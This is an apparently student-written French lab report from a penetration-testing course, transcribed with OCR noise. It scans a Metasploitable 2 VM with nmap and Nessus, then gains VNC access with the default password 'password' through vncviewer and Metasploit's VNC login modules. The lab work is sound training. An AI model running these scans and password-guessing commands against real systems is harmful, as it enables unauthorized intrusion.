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2 PARCOURS file from : www.bouchlaghem.com

1.1. Mise en place
Objectif 1 : mettre en place un environnement d’expérimentation

e Retranscrire ici une copie d’écran montrant vos deux VM :

1¢" Machines Virtuel : Kali Linux

root@kali: /home/bouchlaghem
File Actions Edit View Help

/home/bouchlaghem

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.193 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::d127:939f:e53f:aa5 prefixlen 64 scopeid 0x20<link>
inet6 2a0l:e@a:3bb:2820:248c:f809:8b28:eed®b prefixlen 64 scopeid 0x0@<global>
ether 00:0c:29:87:86:00 txqueuelen 1000 (Ethernet)
RX packets 4544 bytes 2328843 (2.2 MiB)
RX errors © dropped @ overruns @ frame 0
TX packets 4229 bytes 1928880 (1.8 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions ©

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.10 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::58de:819f:ca70:878b prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:87:86:0a txqueuelen 1000 (Ethernet)
RX packets 26 bytes 4336 (4.2 KiB)
RX errors © dropped @ overruns @ frame 0
TX packets 415 bytes 37427 (36.5 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1632 bytes 320269 (312.7 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 1632 bytes 320269 (312.7 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

/home/bouchlaghem
10.10.10.11

PING 10.10.10.11 (10.10.10.11) 56(84) bytes of data.
64 bytes from 10.10.10.11: icmp_seq=1 ttl=64 time=0.342 ms
2C
— 10.10.10.11 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0.342/0.342/0.342/0.000 ms

EthO: l'interface pour se connecter a l'internet et garder un acces au réseau
physique pour la VM Kali pour permettre le chargement d'autres outils (et en
particulier de Nessus).

Eth1: linterface virtuel Vmnet3 pour connecter les deux machines virtuel
« Kali Linux » et « Metasploitable 2 ».
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2 PARCOURS file from : www.bouchlaghem.com

1.1. Mise en place
Objectif 1 : mettre en place un environnement d’expérimentation

e Retranscrire ici une copie d’écran montrant vos deux VM :

2eme Machines Virtuel : « Metasploitable 2 »

o etasploitable2-Linux - VWware Workstation
File Edit View VM Tabs Help ||

Metasploitable2-Linux

root@netasploitable:  home msfadmnint ifconfig

eth Link encap:Ethernet HWaddr 00:0c:29:ba:03:48
inet addr:10.10.10.11 Bcast:10.10.10.255 Mask:255.255.255.0
InEtb addr.: 1e0U:.. .20C :£911 Teba.Ji0-,b% Scope:L1ink
UP BROADCAST RUNNING HULTICAST HMTIU:1500 Hetric:1
RX packets:54644 errors:0 dropped:0 overruns:0 frame:0
TX packets:4750Z errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7696951 (7.3 MB) TX bytes:14737191 (14.0 HMB)
Interrupt:1? Base address:0x2000

Link encap:Local Loopback

inet addr:1Z27.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 MHetric:1

RX packets:987 errors:0 dropped:0 overruns:0 frame:0Q
TX packets:987 errors:0 dropped:® overruns:® carrier:0
collisions:0 txgqueuelen:0

RX bytes:458721 (447.9 KB) TX bytes:458721 (447.9 KB)

root@netasploitable:  homesnsfadmingt _

To direct input to this VM, click inside or press Ctrl+G.

EthO: l'interface virtuel Vmnet3 pour connecter les deux machines virtuel
« Metasploitable 2 » et « Kali Linux ».
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Remarque : Metasploitable est livré avec des keymapdilgSrpourvewhbagehlagheancais

utilisez cette commande : Loadkeys fr

root@metasploitable: . usr-shareskeymaps# loadkeys fr

Loading ~usr-shareskeymaps-fr.map.bz2d

root@metasploitable: susrsshareskeymapstt azert

1.1.1. Scan de réseau

1.2. Reconnaissance
Objectif 2.1 : réaliser un scan de ports / services

e Rechercher un outil adéquat dans Kali.
e Retranscrire ici la ligne de commande utilisée :

En utilisant la commande « nmap -p- 10.10.10.11 » pour scanner tous les ports.

b

File Actions Edit

1@.
Starting Nmap 7.
Nmap scan repor
Host is up (@
Not shown: 65585
POR STATE
21/ open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

oS S Oh L

[wa]

[wa]

[

(¥, ]

Nmap done:

Groupe : E4-22-07

1 IP a

root@kali: fhomefbouchlaghem

View Help

/home/bouchlaghem
18.1@.11
£] |I

s latency).
closed tcp ports
SERVICE
ftp
ssh
telnet
smtp
domain
http
rpchind
netbios-ssn
icrosoft-ds
login
shell
rmiregistry
ingre
nfs
ccproxy-ftp
mysqgl
distccd
postgresgl
VINC
X11
irc
ircs-u
ajpl3
unknown
msSgsTvr
unknown
unknown
unknown
unknown

(1 host up)

(reset)

Ici on voit que
le résultat du

Scan Nous
montre plus
que le scan
par défaut de
1a 1000 ports.

scanned in 9.34 seconds
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Objectif 2.2 : effectuer une prise d’empreinte déeIfEsgn : www.bouchlaghem.com

Rechercher un outil adéquat dans Kali.
Retranscrire ici la ligne de commande utilisée :

Pour scanner les ports UDP, on ajoute I'option -sU a la commande d’analyse
nmap. —v Augmentez le niveau de verbosité.

/home/bouchlaghem
16.19.18.11
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-22 22:17 GMT
Initiating ARP Ping Scan at 22:17
Scanning 18.10.16.11 [1 port]
Completed ARP Ping Scan at 22:17, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:17
Completed Parallel DNS resolution of 1 host. at 22:17, 5.50s elapsed
Initiating UDP Scan at 22:17
Scanning 16.10.16.11 [1088 ports]
Increasing send delay for 10.10.18.11 from @ to 50 due to max_successful_tryno increase to 4
Discovered open port 53/udp on 10.10.18.11
Increasing send delay for 10.10.10.11 from 58 to 180 due to max_successful_tryno increase to 5
Increasing send delay for 108.108.10.11 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 108.108.10.11 from 200 to 4008 due to max_successful_tryno increase to 7
Increasing send delay for 10.10.10.11 from 400 to 800 due to max_successful_tryno increase to 8
UDP Scan Timing: About &4.21% done; ETC: 22:30 (0:11:45 remaining)
UDP Scan Timing: About 7.08% done; ETC: 22:32 (0:13:21 remaining)
UDP Scan Timing: About 22.02% done; ETC: 22:34 (0:12:38 remaining)
UDP Scan Timing: About 28.80% done; ETC: 22:34 (0:11:47 remaining)
UDP Scan Timing: About 34.75% done; ETC: 22:34 (0:10:55 remaining)
UDP Scan Timing: About 41.06% done; ETC: 22:34 (0:10:00 remaining)
UDP Scan Timing: About 46.61% done; ETC: 22:35 (0:09:08 remaining)
UDP Scan Timing: About 52.05% done; ETC: 22:35 (0:08:13 remaining)
UDP Scan Timing: About 57.30% done; ETC: 22:35 (0:07:21 remaining)
UDP Scan Timing: About 62.69% done; ETC: 22:35 (0:06:28 remaining)
Discovered open port 2049/udp on 10.10.10.11
UDP Scan Timing: About 67.90% done; ETC: 22:35 (0:05:34 remaining)
UDP Scan Timing: About 72.94% done; ETC: 22:35 (0:04:42 remaining)
UDP Scan Timing: About 77.81% done; ETC: 22:35 (0:03:50 remaining)
UDP Scan Timing: About 82.84% done; ETC: 22:35 (0:02:58 remaining)
Discovered open port 137/udp on 16.10.18.11
UDP Scan Timing: About 87.97% done; ETC: 22:35 (0:02:05 remaining)
Discovered open port 111/udp on 16.10.18.11
UDP Scan Timing: About 93.29% done; ETC: 22:35 (0:01:10 remaining)
Completed UDP Scan at 22:35, 10872.15s elapsed (1008 total ports)
Nmap scan report for 10.10.108.11
Host is up (0.000465 latency).
Mot shown: 993 closed udp ports (port-unreach)
PORT STATE SERVICE
53/udp  open domain
68/udp openl|filtered dhcpc
69/udp openlfiltered tftp
111/udp open rpcbind
137/udp open netbios-ns
138/udp openl|filtered netbios-dgm
20849/udp open nfs
MAC Address: @0:0C:29:BA:03:48 (VMware)

Read data files from: /fusr/bin/../share/nmap
Mmap done: 1 IP address (1 host up) scanned in 1877.80 seconds
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file from : www.bouchlaghem.com
On utilisant la commande « nmap -sV 10.10.10.11 » pour activé la détection

des services, I'option -sV ajoute une table contenant une colonne supplémentaire
nommée VERSION, affichant la version de service spécifique, si elle est identifiée.

/home/bouchlaghem

v 10.10.10.11
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 14:36 GMT
Nmap scan report for 10.10.10.11
Host is up (@.0013s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn| Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn| Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ccproxy-ftp?
3306/tcp open mysql MySQL 5.@.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.metaspLoitable.LAN; USs: Unix, Linux; CPE: cpe:/o:linux:linux_kerne
1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.8@ seconds

e Y a-t-il des services qui vous semblent a priori plus vulnérables que d’autres et sur
lesquels vous seriez tentés de focaliser vos efforts ? Lesquels et pourquoi ?
Oui: Les services http ou bien le port 80, FTP et SMTP

° Nmap peut étre utiliser par les administrateurs réseau pour inventorier un réseau,
gérer les calendriers de mise a niveau des services et surveiller la disponibilité des
hotes ou des services.

° Les attaquants utilisent Nmap pour extraire des informations telles que les hotes
actifs sur le réseau, les ports ouverts, les services (nom et version de l'application),
les types de filtres de paquets/pare-feu, ainsi que les systemes d'exploitation et les
versions utilisées.
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Objectif 2.2 : effectuer une prise d’empreinte déeIfEsgn : www.bouchlaghem.com

Rechercher un outil adéquat dans Kali.

Retranscrire ici la ligne de commande utilisée :

Pour activer la détection du systeme d'exploitation, on ajoutons l'option -O
a la commande d’analyse nmap, la détection du systéme d'exploitation
nécessite que Nmap soit exécuté en tant qu'utilisateur privilégié « ROOT ».

10.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-16 20:37 GMT
Nmap scan report for 10.10.10.11

Host is up (0.00061s latency).

Not shown: 977

PORT
21/tcp
22/tcp
23/tcp
25/tcp
53/tcp
80/tcp
111/tcp
139/tcp
445/tcp
512/tcp
513/tcp
514/tcp
1099/tcp
1524/tcp
2049/tcp
2121/tcp
3306/tcp
5432/tcp
5900/tcp
6000/tcp
6667/tcp
8009/tcp
8180/tcp

MAC Address: 00:0C:29:BA:03:48 (VMware)
Device type: general purpose

STATE
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

/home/bouchlaghem

10.10.11

closed tcp ports (reset)

SERVICE

ftp

ssh

telnet

smtp

domain

http
rpcbind
netbios-ssn
microsoft-ds
exec

login

shell
rmiregistry
ingreslock
nfs
ccproxy-ftp
mysql
postgresql
vnc

X11

irc

ajpl3
unknown

Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux_kernel:2.6

0S details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/sub
mit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds

Une régle générale pour les systemes informatiques est que plus le nombre de ports
ouverts sur un systeme est élevé, plus le systeme est vulnérable.

Groupe : E4-22-07
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file from : www.bouchlaghem.com
1.3. Recherche de vulnérabilités

Objectif 3.1 : préparer un scan de vulnérabilités
Installation et utilisation du Nessus :

Il faut télécharger Nessus apreés on utilise la commande suivante pour
démarrer l'installation :

root@kali: /home/bouchlaghem/Downloads

File Actions Edit View Help

-[~/Downloads ]

[sudo] password for bouchlaghem:
/home/bouchlaghem/Downloads
-i Nessus-10.4.1-ubuntul404_amd64.deb
Selecting previously unselected package nessus.
(Reading database ... 618575 files and directories currently install
ed.)
Preparing to unpack Nessus-10.4.1-ubuntul4@4 amd64.deb
Unpacking nessus (10.4.1)
Setting up nessus (10.4.1) ...
HMAC : (Module Integrity) : Pass
SHA1 : (KAT Digest) : Pass
SHA2 : (KAT Digest) : Pass
SHA3 : (KAT Digest) : Pass
TDES : (KAT Cipher) : Pass
AES GCM : (KAT _Cipher) : Pass
AES_ECB_Decrypt : (KAT Cipher) : Pass
RSA : (KAT Signature) : RNG : (Continuous RNG Test) : Pass
Pass
ECDSA : (PCT_Signature) : Pass
ECDSA : (PCT_Signature) : Pass
DSA : (PCT_Signature) : Pass
TLS13 _KDF_EXTRACT : (KAT _KDF) : Pass
TLS13 KDF_EXPAND : (KAT KDF) : Pass
TLS12 PRF : (KAT_KDF) : Pass
PBKDF2 : (KAT_KDF) : Pass
SSHKDF : (KAT_KDF) : Pass
KBKDF : (KAT_KDF) : Pass
HKDF : (KAT_KDF) : Pass
SSKDF : (KAT_KDF) : Pass
X963KDF : (KAT _KDF) : Pass
X942KDF : (KAT_KDF) : Pass
HASH : (DRBG) : Pass
CTR : (DRBG) : Pass
HMAC : (DRBG) : Pass
DH : (KAT_KA) : Pass
ECDH : (KAT _KA) : Pass

Pour démarrer Nessus « /bin/systemctl start nessusd.service » Et apreés aller sur
https://kali:8834/ pour completé I'installation des pulgins et configurer un
nouveau scan.

- You can start Nessus Scanner by typing /bin/systemctl start nessu
sd.service
- Then go to https://kali:8834/ to configure your scanner
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https://kali:8834/

file from : www.bouchlaghem.com

Démarrer Nessus et définir une « politique de scan » en configurant les
section « Host Discovery », « Port Scanning » et « Service Scanning ».

Retranscrire ici une copie d’'écran de la définition de votre politique de
scan:

10.10.10.171 Deep Scan / Configuration

Settings Credentials Plugins

BASIC

. 10.10.10.11 Deep Scan

Description Advanced Scan

DISCOVERY
ASSESSMENT Folder My Scans

REPORT

ADVANCED TEingsis 10.10.10.11

Upload Targets

Name: Cette option permet d'attribuer un nom unigue a la stratégie.

Descriptionn: Cette option permet dajouter une description a la

stratégie pour référence ultérieure ; Par exemple, la description d'une

stratégie configurée pour l'analyse de base de données peut étre mise
a jour de maniere a permettre a l'utilisateur de rappeler et d'utiliser la
stratégie conformément a l'objectif pour lequel elle a été définie.
Folder: Dossier sert a organiser les scan si on a plusieurs scan.
Targets: Toutes les adresses IP qui doivent étre analysées doivent étre
répertoriées ici, on a qu'un seul host la machine virtuel Metaxploite 2
«10.10.10.17 ».

Upload Targets: Si on a un fichier texte qui contient une liste d'adresses

IP a analyser, on peut l'importé ici dans Nessus.
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Parametres de l'analyse de découverte:

Les parametres de découverte concernent la découverte et l'analyse des
ports, y compris les plages de ports et les méthodes.

Certains modeles d'analyseur fournis par Tenable incluent des parametres
de découverte préconfigurés.

Si vous sélectionnez l'option de parametre préconfiguré personnalisé ou si
vous utilisez un modele de scanner qui

n'inclut pas les parametres de découverte préconfigurés, nous pouvons
configurer manuellement les parametres de découverte dans les
catégories suivantes:

10.10.10.11 De nfiguration
Host Discovery 0
S L Par défaut, Nessus active certains parameétres dans la section Host
Discovery. Lorsque nous accédons pour la premiére fois a la

Remote Host Ping

BEEES section Host Discovery, I'élément Ping de I'n6éte distant s'affiche et

Ping the remote host

: est défini sur Activé.

General Settings

ocal

‘ Ping Methods (2
e st s e o e |- L@ Methods de ping : on a choisi :
ARP : Envoyer une requéte ping a un hote a
Ping Methods l'aide de son adresse matérielle via la
v awe résolution d'adresses Protocole (ARP). Cela
7 1 ne fonctionne que sur un réseau local.
TCP : Envoyez une commande ping a un
hote a l'aide de TCP.
e ICMP : Ping a host using TCP.

c ' Maximum number of retries : 2 Spécifie le
nombre de tentatives de nouvelle tentative
d'envoi d'une requéte ping au hote distant.
UDP : Envoyez une commande ping a un
hote a l'aide du protocole UDP (User
Datagram Protocol). UDP est un protocole
sans état, ce qui signifie que la
communication est non executé avec des
dialogues de poignée de main. La
communication basée sur UDP n'est pas
toujours fiable et, en raison de la nature des
services UDP et des dispositifs de controle,
ils ne sont pas toujours détectables a
Boot ime weit(nminutes) | 5 distance.

ADVANCED

Destination ports built-in

Fragile Devices

etwork Printers

Wake-on-LAN

List of MAC a
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Port Scanning:

La section Analyse des ports inclut des parametres qui définissent le
comportement de l'analyseur de ports et les ports a analyser.

10.10.10.11 Deep Scan / Configuration

Settings Credentials Plugins

BASIC
Ports

DISCOVERY
Consider unscanned ports as closed

Port scan range: | default

Local Port Enumerators
ASSESSMENT

+| 55H (netstat)
REPORT

ADVANCED WMI (netstat)

SNMP
Only run network port scanners if lol

Verify open TCP ports found by local

Network Port Scanners

v| TCP

v | Override automatic firewall det
Use soft detection
® Use aggressive detection

Disable detection

Owverride automatic firewall det

Groupe : E4-22-07
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Port scan rang 0

default : Indique au scanneur d'analyser environ 4
790 ports couramment utilisés. La liste des ports
se trouve dans le fichier nessus-services.

All: indique au scanner d'analyser les 65 536 ports,
y compris le port 0.

(2

When enabled, this setting overrides automatic

firewall detection.

This setting has three options:

» Utilisez des tentatives de détection agressives
pour executer des plugins méme si le port
semble étre fermé. Il est recommandé de ne
pas utiliser cette option sur un réseau de
production.

L'utilisation de la détection logicielle désactive
la possibilité de surveiller la fréquence des
réinitialisations et de déterminer s'il existe une
limitation configurée par un périphérique
réseau en aval.

Désactiver la  détection désactive Ia
fonctionnalité de détection du pare-feu.

Override automatic firewall detection:

4PENTST - 2022-2023




file from : www.bouchlaghem.com
Service Discovery:

La section Découverte de service inclut des parametres qui tentent de
mapper chaque port ouvert avec le service qui s'exécute sur ce port.

10.10.10.11 Deep Scan / Configuration
Probe all ports to find services : 0

Settings G Lorsque cette option est activée, |’analyseur
tente de mapper chaque port ouvert avec le
service qui s’exécute sur ce port, tel que défini
A it el 7 par I'option Plage d’analyse des ports.

BASIC )
General Settings

DISCOVERY

e +0 Search for SSL based services :
Controle la fagon dont l'analyseur teste les
ASSESSMENT services SSL.

Search for SSL/TLS on All TCP ports
REPORT

ADVANCED Search for DTLS on All UDP ports Search for SSL/TLS on:
Spécifie les ports sur les hotes cibles recherchés
par I'analyseur pour les services SSL/TLS.

Identify certificates expiring within x days

v| Enumerate all SSL/TLS ciphers

Enable CRL checking (connects to the Internet)

Cancel

Objectif 3.2 : réaliser un scan de vulnérabilités

Alors a ce niveau on a fait un scan avancé pour chercher les différentes vulnérabilités en
suite nous avons choisis une vulnérabilité parmi elles. A voir ci-dessous

Scans Settings @ A canoy o

Configure

Hosts 1 Vunerabilities 19 History 2
Filter v Q| 1H

®  Host Vulnerabilities v Scan Details

® 104101011 : N = Policy: Advanced Scan
Status: Running
Severity Base: CVSSv3.0
Scanner: Local Scanner
Start: Today at 10:41 PM

Vulnerabilities

Lancement du scan . i

® Medium

® Low
Info

Scans Settings ® A4 o7 o

10.10.10.11 Deep Scan Audit Trail

Report  Export ¥

Hosts 1 Vulnerabilties 79  Remediations &  VPRTop Threats History 2
Filter = Q | 1H

Host Vulnerabilities v Scan Details

10.10.10.11 2n Policy: Advanced Scan
status: Completed
Severity Base: CVSSv3.0
Scanner: Local Scanner
start: Today at 10:41 PM
End: Today at 11:05 PM

Elapsed: 23 minutes

Vulnerabilities

Résultats du scan o

® Medium

® Low

[
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n

Eb

nessus

Essentials

Scans

Settings

10.10.10.11 Deep Scan

o Hosts 1 e\lulnerabi\ities 799 Remediations 68 0\/"PF{ Top Threats [

Filter =

@ 95ev v

O nessus
it

CRITICAL

CRITICAL

CRITICAL

CRITICAL

CRITICAL

CRITICAL

MIXED

CRITICAL

MIXED

MIXED

MIXED

Score v

10.0%

10.0

10.0*

9.8

9.8

9.8

Q | 79 Vulnerabilities
Name
NFS Exported Share Information Disclosure
Unix Operating System Unsupported Version Detection
WNC Server 'password' Password
Bash Remote Code Execution (Shellshock)
Bind Shell Backdoor Detection
Weak Debian OpensSH Keys in ~/.ssh/fauthorized_keys
ﬁ Canonical Ubuntu Linux (Multiple Issues)
B 5L (Multiple Issues)
E SSL (Multiple Issues)
E Apache Logdj (Multiple Issues)

E Apache Tomcat (Multiple Issues)

Family &

RPC

General

Gain a shell remotely

Gain a shell remotely

Backdoors

Gain a shell remotely

Ubuntu Local Security Checks

Gain a shell remotely

Service detection

Misc.

Web Servers

@ La page Hotes affiche toutes les cibles analysées.

@ Liste des vulnérabilités identifiées, triées par gravité.
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Count v
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Audit Trail

o a

Launch ~

Scan Details

Palicy: Advanced Scan

Status: Completed

Severity Base: CVSSv3.0

Scanner: Local Scanner
Start: Today at 10:41 PM
End: Today at 11:05 PM
Elapsed: 23 minutes

Vulnerabilities

Report

Critical

High

® Medium

® lLow

[
v Info

E4-22-07 o

Export T

Si les résultats de l'analyse incluent des informations de correction, cette liste affiche
les mesures correctives suggérées qui corrigent le plus grand nombre de vulnérabilités.

@ Les vulnérabilités suivantes sont classées par le systeme breveté Vulnerability
Priority Rating (VPR) de Tenable. Les résultats énumérés ci-dessous détaillent les dix
principales vulnérabilités, fournissant une vue hiérarchisée pour aider a guider les
mesures correctives afin de réduire efficacement les risques.

®

vulnérabilité.

Pour consulter les résultats totales voir le fichier PDF “10_10_10_11 Deep

Scan_6tfn9s.pdf”.

Gravité « Severity » : La gravité est une catégorisation du risque et de l'urgence d'une

On a choisis cette vulnérabilité parce qu'elle est critique et elle a un nombre de sévérité de
10%, le serveur VNC exécuté sur 'hdte distant est sécurisé par un mot de passe faible.
Nessus a pu se connecter a laide de l'authentification VNC et d'un mot de passe
‘password’. Un attaquant distant non authentifié pourrait exploiter cela pour prendre le
controle du systeme.

Scans

Settings

10.10.10.11 Deep Scan / Plugin #61708

Hosts 1

Vulnerabilities 55

History 2

cmeaL  VNC Server 'password' Password

Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of
‘password'. A remote, unauthenticated attacker could exploit this to take control of the system.

solution

Secure the VNC service with a strong password,

Output

Nessus logged

in using a password of

"password"

To see debug logs, please visit individual host

Port a

5900 /tcp / vnc

Hosts

A& Ea2207 o

Configure

Gain a shell remotely

o
Plugin Details
Severity: Critical
1D: 61708
Version: $Revision: 12 %
Type: remote
Family:
Published: August 29, 2012
Modified:

Risk Information

Risk Factor: Critical

CVSS v2.0 Base Score: 10.0
CVSS v2.0 Vector: CVSS2#AV:N/ACILIAU:N/C:C

ACIAC

Vulnerability Information

Default Account: true

Explm iy m¥ssitra

September 24, 2015




Cette vulnérabilité et exploitable par Nessus; on a déja obtenu le mot de passe pour accéder

au serveur VNC « password ».
On utilison la commande " vncviewr —shared 10.10.10.11:5900 " avec le mot de pass
« password » pour accéder au serveur

/home/bouchlaghem
10.10.106.11:5900

Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:@)"
VNC server default format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue @
Using default colormap which is TrueColor. Pixel format:

32 bits per pixel.

Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue @

On peut a ce niveau voir qu'on a réussi a se connecté au serveur VNC et on a eu l'acces au
terminal du Metasploit a distance. Alors dans l'image ci-dessous on peut voir que l'attaque a
réussi.
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Objectif 4 : rechercher un exploit pour l'une des
vulnérabilités identifiées:

On peut utilisé Metasploit pour chercher la méme vulnérabilité et l'exploité,
Premierement on lance metasploit en utilisant la commande « msfconsol
g- » loption —q signifié quite (Ne pas afficher la banniére au démarrage) et
si on veux afficher ou changer la banniére on utilise la commande
« banner ».

3

root@kali: /home/bouchlaghem
File Actions Edit View Help

+ — —=[ 9 evasion ]

Metasploit tip: Writing a custom module? After editing your
module, why not try the re command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > banner

ds, dsp
"BP d888888p
788"
dsp ?8b 88P
dsP d88s88bh $whi?88b 88b
288, .d88b, ds8 dsP' 788 88P "78b
788" 788 788 88b (88 d8s
88b dsP 88b 78888P'
888888P' 88n

d8sp’

64 exploits - 1189 auxiliary - 404 post
1 payloads - 45 encoders - 11 nops
evasion

+
|
|
|
|

Metasploit tip: Start commands with a space to avoid saving
them to history
Metasploit Documentation: https://docs.metasploit.com/

msf6 > i

Deuxiemement nous voulons faire est de rechercher les serveurs VNC
qui n'utilisent aucun mot de passe, en utilisant la commande « use
auxiliary/scanner/vnc/vnc_none_auth », Ensuite, nous voulons définir nos
options. Pour ce module, il suffit de définir RHOSTS utilisant la commande
« set RHOSTS 10.10.10.17 ». nous pouvez répertorier les options en exécutant
: « show options »

msf6 auxiliary( ) > set RHOSTS 10.10.19.11
RHOSTS = 10.10.10.11
msfe auxiliary( ) > show options

Module options (auxiliary/scanner/vnc/vnc_none_auth):

Name Current Setting Required Description

RHOSTS 1@0.10.18.11 I yes The target host(s), see https://github.com/rapid7/m
i/Using-Metasploit

RPORT 5900 yes The target port (TCP)

THREADS 1 yes The number of concurrent threads (max one per host)

-d command.
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Une fois cela fait, nous pouvons exécuter le module en tapant: run ou bien
exploit

msf6 auxiliary( ) > run

16.10.10.11:5900 - 10.10.108.11:5988 - \ protocol version: 3.3
16.10.18.11: .18.11:5 Se y types supported: VNC
16.10.16.11:5900

liary module execution completed

.:fllflal":,"l: | »

Le script détecte qu'un service VNC est en cours d'exécution, ily a donc
probablement un mot de passe dessus.

Maintenant que nous savons qu'un serveur VNC est présent, exécutant
probablement la version 3.3 comme notre analyse précédente l'a suggéré, nous
pouvons creuser plus loin.

Dans un premier temps, ont regardent toujours s'ily a un script NSE disponible.
Pour rechercher des scripts NSE pertinents, ont utilisent : locate *vnc*.nse

msf6 auxiliary( ) > locate *vnck.nse
exec: locate *vnc*.nse

/ivre/patches/nmap/scripts/vnc-screenshot.nse
/nmap/scripts/realvnc-auth-bypass.nse
/nmap/scripts/vnc-brute.nse
/nmap/scrip c-info.nse
/share/nmap/scripts/vnc-title.nse
msf6 auxiliary( ) > |

Ce qui en fait donne des résultats intéressants. Habituellement. Dans ce cas,
nous savons qu'il pourrait y avoir une vulnérabilité de contournement
d'authentification dans les anciennes versions de VNC, ont cherchent alors si il
existe un module de type VNC de login utilisant la commande : search
type:auxiliary vnc

msf6 auxiliary( ) > search type:auxiliary vnc

Matching Modules

Disclosure Date Rank Check Description

/Mng/ard_root_pw normal No Apple Remote Desktop Root Vulnerability
normal No Authentication Capture: [}
2006-05-15 normal No RealMNC NULL Authentication Mode Bypass
2019-10-16 normal No ThinMNE€ Directory aversal
/wne/ung_none_auth normal No MNC Authenticatio ne Detection
vne/vne_login normal No MNC Authenticatio

Interact with a module by name or index. For example inf

msf6 auxiliary( ) > 11

Et bien sdr, ily en a. Voyons donc si l'utilisateur utilise des mots de passe
VNC connus, Par défaut, en utilisant la commande « show options » on vois que
ce module utilise le fichier:
/usr/share/metasploit framework/data/wordlists/vnc_passwords.txt.

d: none, user, usergrealm)
PASSWORD no The password to test

PASS_FILE /usr/share/metasploit-framework/data | no File containing passwords, one per line
/wordlists/vnc_passwords.txt
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On configurons l'option RHOSTS utilisant la iterframandewhousdghem.com
10.10.10.11

msf6 auxiliary( ) > set RHOSTS 10.10.10.11
RHOSTS = 10.10.10.11
msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

Name Current Setting Required Description

BLANK_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 How fast to bruteforce, from @ to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepte
d: none, user, user&realm)

PASSWORD no The password to test

PASS_FILE /usr/share/metasploit-framework/data no File containing passwords, one per line

/wordlists/vnc_passwords.txt

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS 10.10.10.11 The target host(s), see https://github.com/rapid7/metasploit-fram
ework/wiki/Using-Metasploit

RPORT 5900 The target port (TCP)

STOP_ON_SUCCESS false Stop guessing when a credential works for a host

THREADS 1 The number of concurrent threads (max one per host)

USERNAME <BLANK> A specific username to authenticate as

USERPASS_FILE File containing users and passwords separated by space, one pair
per line

USER_AS PASS Try the username as the password for all users

USER_FILE File containing usernames, one per line

VERBOSE Whether to print output for all attempts

Une fois cela fait, nous pouvons exécuter le module en tapant: run ou bien
exploit

msf6 auxiliary( ) > run

10.10.10.11:5900 - 10.10.10.11:5900 - Starting VNC login sweep
[1] 10.10.10.11:5900 - No active DB — cCredential data will not_be saved!
[+] 10.10.10.11:5900 - 10.10.10.11:5900 - |Login Successful: :password
10.10.10.11:5900 - Scanned 1 of 1 hosts (10@% complete)
Auxiliary module execution completed
msf6 auxiliary( ) > 1

C'était rapide. Il s'avere que le mot de passe est : « password »

On utilison la commande " vncviewr —shared 10.10.10.11:5900 " avec le mot de
